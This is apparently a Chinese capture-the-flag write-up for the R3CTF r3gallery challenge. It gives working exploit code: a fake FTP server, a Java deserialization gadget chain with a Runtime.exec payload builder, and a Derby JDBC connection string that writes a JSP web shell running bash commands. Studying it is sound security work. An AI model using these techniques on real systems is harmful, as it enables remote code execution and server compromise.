本题考点如下:
-
canonicalPath
路径穿越、file://
前缀ftp
协议利用 -
反序列化触发 getConnection
-
derby-client jdbc
任意文件写入
比赛的时候卡在一个很蠢的问题上-.-有点可惜。
canonicalPath路径穿越、file://前缀ftp协议利用
/api/decompress
接口会读一个指定的文件,不过有file:///heavy_images/
前缀限制。读完文件内容后会走原生反序列化。
String processedPath = PathUtils.canonicalPath(
"file:///heavy_images/"
+ path);
if
(processedPath ==
null
|| !processedPath.startsWith(
"file://"
)) {
return
"Invalid"
.getBytes(StandardCharsets.UTF_8);
}
FileUrlResource fileUrlResource =
new
FileUrlResource(
new
URL(processedPath));
ByteArrayInputStream byteArrayInputStream =
new
ByteArrayInputStream(fileUrlResource.getInputStream().readAllBytes());
InputStream is =
new
GZIPInputStream(byteArrayInputStream);
ObjectInputStream sois =
new
ObjectInputStream(is);
ImageBean image = (ImageBean)sois.readObject();
思路一是利用tomcat
缓存临时上传文件的特性,通过一边上传文件一边竞争fd
就可以反序列化我们指定的内容,该方法成功率不高且不太优雅。
这里通过new URL
读取file://
前缀还有另外一种解法,其实java
的file
协议可以打ftp
利用。跟一下getInputStream
调用,openConnection
这里会取host
。
热知识:file
协议是支持host
的,如file://127.0.0.1/etc/passwd
。
看getInputStream
逻辑的话发现如果host
不为空并且不是localhost
,那么会通过ftp
协议请求远程资源。
因此我们可以伪造ftp server
,最终指定processedPath
为file://ftp_server/flag
即可控制靶机向ftp server
请求我们指定反序列化的内容。
而canonicalPath
这里考察的是前段时间Nexus-Reposity
的任意文件读取漏洞。不过也没有考察到漏洞本质,实际上就是很正常的通过../
就能消去一个/
。
PS:不能完全相信JD-GUI
的反编译结果,只能说和fernflower
各有千秋吧。比赛的时候用JD-GUI
反编译出来的canonicalPath
逻辑居然和原版是不一样的,导致根本没有normalize
路径。
既然可以将processedPath
修改为file://127.0.0.1/xxx
的形式,那么写一个恶意ftp server
:
import
socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((
'0.0.0.0'
,
21
))
s.listen(
1
)
conn, addr = s.accept()
conn.send(
b'220 welcomen'
)
print(conn.recv(
1024
))
conn.send(
b'331 Please specify the password.n'
)
print(conn.recv(
1024
))
conn.send(
b'230 Login successful.n'
)
print(conn.recv(
1024
))
conn.send(
b'200 /etc/passwdn'
)
print(conn.recv(
1024
))
conn.send(
b'1 to Passive.n'
)
print(conn.recv(
1024
))
# linux
# conn.send(b'227 Entering Extended Passive Mode (127.0.0.1,0,900)n')
# windows
conn.send(
b'227 Entering Extended Passive Mode (127,0,0,1,0,900)n'
)
print(conn.recv(
1024
))
conn.send(
b'221 Goodbye.n'
)
print(conn.recv(
1024
))
conn.close()
被动模式:
import
socket
import
base64
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((
'0.0.0.0'
,
900
))
s.listen(
1
)
evil_based_string =
"MQ=="
evil_bytes = base64.b64decode(evil_based_string)
conn, addr = s.accept()
conn.send(evil_bytes+
b'n'
)
print(
"ok"
)
conn.close()
至此,完成了通过ftp
协议加载任意反序列化内容。
反序列化触发getConnection
反编译题目给出的war
包可知远程为jdk15
,而题目又提供了一个getConnection
,结合derby
依赖应该是打derby jdbc
攻击。
/* */
public
Connection
getConnection
()
throws
SQLException
{
/* 9 */
DriverManager.getConnection(
this
.conStr);
/* 10 */
return
null
;
/* */
}
观察到PendingDataSource
接口类只有一个getConnection
方法,因此可以通过JdkDynamicAopProxy
封装POJONODE
进而稳定触发getConnection
方法。
整条链子:XString-->POJONODE#toString-->CustomDataSource#getConnection-->deby jdbc attack
。
package
com.galery.art.tools;
import
com.fasterxml.jackson.databind.node.POJONode;
import
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import
com.sun.org.apache.xpath.internal.objects.XString;
import
javassist.*;
import
org.springframework.aop.framework.AdvisedSupport;
import
javax.xml.transform.Templates;
import
java.io.*;
import
java.lang.reflect.*;
import
java.util.HashMap;
import
java.util.zip.GZIPOutputStream;
public
class
r3a
{
//BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
public
static
void
main
(String[] args)
throws
Exception
{
// final Object template = GadgetUtils.createTemplatesImpl(SpringBootMemoryShellOfController.class);
// final Object template = GadgetUtils.templatesImplLocalWindows();
CtClass ctClass = ClassPool.getDefault().get(
"com.fasterxml.jackson.databind.node.BaseJsonNode"
);
CtMethod writeReplace = ctClass.getDeclaredMethod(
"writeReplace"
);
ctClass.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass.toClass();
POJONode node =
new
POJONode(makeTemplatesImplAopProxy());
Object o = xString1(node);
serialize(o);
}
public
static
String
serialize
(
final
Object obj)
throws
IOException
{
FileOutputStream fileOutputStream =
new
FileOutputStream(
"squirt1e.ser"
);
serialize(obj,fileOutputStream);
fileOutputStream.close();
return
"test1.ser"
;
}
public
static
void
serialize
(
final
Object obj,
final
OutputStream out)
throws
IOException
{
GZIPOutputStream gzipOutputStream =
new
GZIPOutputStream(out);
ObjectOutputStream objectOutputStream =
new
ObjectOutputStream(gzipOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
gzipOutputStream.finish();
}
public
static
Object
xString1
(Object node)
throws
Exception
{
XString xString =
new
XString(
"Squirt1e"
);
HashMap map1 =
new
HashMap();
HashMap map2 =
new
HashMap();
map1.put(
"yy"
,node);
map1.put(
"zZ"
,xString);
map2.put(
"yy"
,xString);
map2.put(
"zZ"
,node);
Object o = makeMap(map1,map2);
return
o;
}
public
static
HashMap
makeMap
(Object v1, Object v2 )
throws
Exception
{
HashMap s =
new
HashMap();
setFieldValue(s,
"size"
,
2
);
Class nodeC;
try
{
nodeC = Class.forName(
"java.util.HashMap$Node"
);
}
catch
( ClassNotFoundException e ) {
nodeC = Class.forName(
"java.util.HashMap$Entry"
);
}
Constructor nodeCons = nodeC.getDeclaredConstructor(
int
.
class
,
Object
.
class
,
Object
.
class
,
nodeC
)
;
nodeCons.setAccessible(
true
);
Object tbl = Array.newInstance(nodeC,
2
);
Array.set(tbl,
0
, nodeCons.newInstance(
0
, v1, v1,
null
));
Array.set(tbl,
1
, nodeCons.newInstance(
0
, v2, v2,
null
));
setFieldValue(s,
"table"
, tbl);
return
s;
}
public
static
void
setFieldValue
(Object obj1,String str,Object obj2)
throws
NoSuchFieldException, IllegalAccessException
{
Field field2 = obj1.getClass().getDeclaredField(str);
//获取PriorityQueue的comparator字段
field2.setAccessible(
true
);
//暴力反射
field2.set(obj1, obj2);
//设置queue的comparator字段值为comparator
}
public
static
Object
makeTemplatesImplAopProxy
()
throws
Exception
{
AdvisedSupport advisedSupport =
new
AdvisedSupport();
CustomDataSource customDataSource =
new
CustomDataSource();
setFieldValue(customDataSource,
"conStr"
,
"jdbc:derby://xxx"
);
advisedSupport.setTarget(customDataSource);
Constructor constructor = Class.forName(
"org.springframework.aop.framework.JdkDynamicAopProxy"
).getConstructor(AdvisedSupport
.
class
)
;
constructor.setAccessible(
true
);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new
Class[]{PendingDataSource
.
class
},
handler
)
;
return
proxy;
}
public
static
TemplatesImpl
getTemplatesImpl
(String cmd)
throws
NotFoundException, CannotCompileException, IOException, NoSuchFieldException, InstantiationException, IllegalAccessException
{
String cm =
"new String[]{"/bin/bash","-c",""
+cmd+
""}"
;
return
createTemplatesImpl(cm);
}
public
static
TemplatesImpl
createTemplatesImpl
(String cmd)
throws
CannotCompileException, NotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchFieldException
{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(
new
ClassClassPath(AbstractTranslet
.
class
))
;
CtClass cc = pool.makeClass(
"SOTA"
);
//本机测试
if
(cmd.contains(
"calc"
)){
cc.makeClassInitializer().insertBefore(
"java.lang.Runtime.getRuntime().exec("calc");"
);
}
else
{
cc.makeClassInitializer().insertBefore(
"java.lang.Runtime.getRuntime().exec("
+cmd+
");"
);
}
// System.out.println("java.lang.Runtime.getRuntime().exec("+cmd+");");
cc.setSuperclass(pool.get(AbstractTranslet
.
class
.
getName
()))
;
cc.writeFile();
byte
[] classBytes = cc.toBytecode();
byte
[][] targetByteCodes =
new
byte
[][]{classBytes};
//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl
.
class
.
newInstance
()
;
setFieldValue(templates,
"_bytecodes"
, targetByteCodes);
setFieldValue(templates,
"_name"
,
"Squirtle"
);
setFieldValue(templates,
"_class"
,
null
);
setFieldValue(templates,
"_tfactory"
,
new
TransformerFactoryImpl());
return
templates;
}
}
触发getConnection
:
链子倒是好写,但题目依赖提供的derby-client
从未见过,网上传的derby jdbc
反序列化没有太多用处,因为题目本身就是个无限制的反序列化。
接下来需要调试derby-client
看看有没有新的利用。
derby-client jdbc任意文件写入
这里有个坑,反编译war
得到的derby-client.jar
在IDEA
里不能DEBUG
,会显示行号不匹配?比赛时就卡在这里了,不能调试的话完全没有做题欲望。
解决方案是下载官网提供的db-derby-10.14.2.0-lib-debug
版本:
https://db.apache.org/derby/releases/release-10_14_2_0.html
使用该版本可以正常调试:
看解析jdbc
连接串的逻辑,解析逻辑对应的实现是tokenizeXXX
开头的方法。让大模型读一遍或者自己调一遍可知前缀需要为jdbc:derby//ip:port/
的格式。
而tokenizeURLPropertiess
是用来解析属性的,属性这里以;为分隔符。tokenizeAttributes
是把属性字符串(这里为;create=true;)塞到properties
当中。
而接下来会解析traceLevel
,这里了解过pgsql jdbc
攻击的话很容易联想到这里可能会有log
日志导致的任意文件写入问题。
getTraceLevel
就是解析properties
当中的traceLevel
。
走到后面BasicClientDataSource40.computeDncLogWriterForNewConnection
会初始化LogWriter
,这里有一个BasicClientDataSource40.getTraceFile(augmentedProperties)
,取的是jdbc
连接中的traceFile
属性。
将jdbc
连接串改为jdbc:derby://127.0.0.1:0/tmp/myderby;create=true;traceLevel=16;traceFile=E://ctf/squirt1e.jsp;
继续调。
最终getPrintWriter
会通过new File
创建一个文件,而文件路径正是traceFile
,不过此时文件并没有内容。
获得LogWriter
之后,会调用getFactory().newNetConnection
方法,进而触发NetConnection
。
然后走到traceConnectEntry
,这里有两个分支。
traceLevel
为16会走到下图,即调用printWrite.println
写入文件内容。这里内容为硬编码不可控的字符。
观察到traceLevel
为32时会写入properties
,因此content
也是完全可控的。
将jdbc连接串改为如下形式:
jdbc:derby:
//127.0.0.1:0/tmp/myderby;create=true;traceLevel=32;traceFile=E://ctf/squirt1e.jsp;pwned=<%out.write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "whoami"}).getInputStream())).readLine())\u003b%>
成功写入jsp
成功。另外题目还有thymeleaf
,覆盖thymeleaf
打模版注入应该也可以。
原文始发于微信公众号(ChaMd5安全团队):R3CTF r3gallery 题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论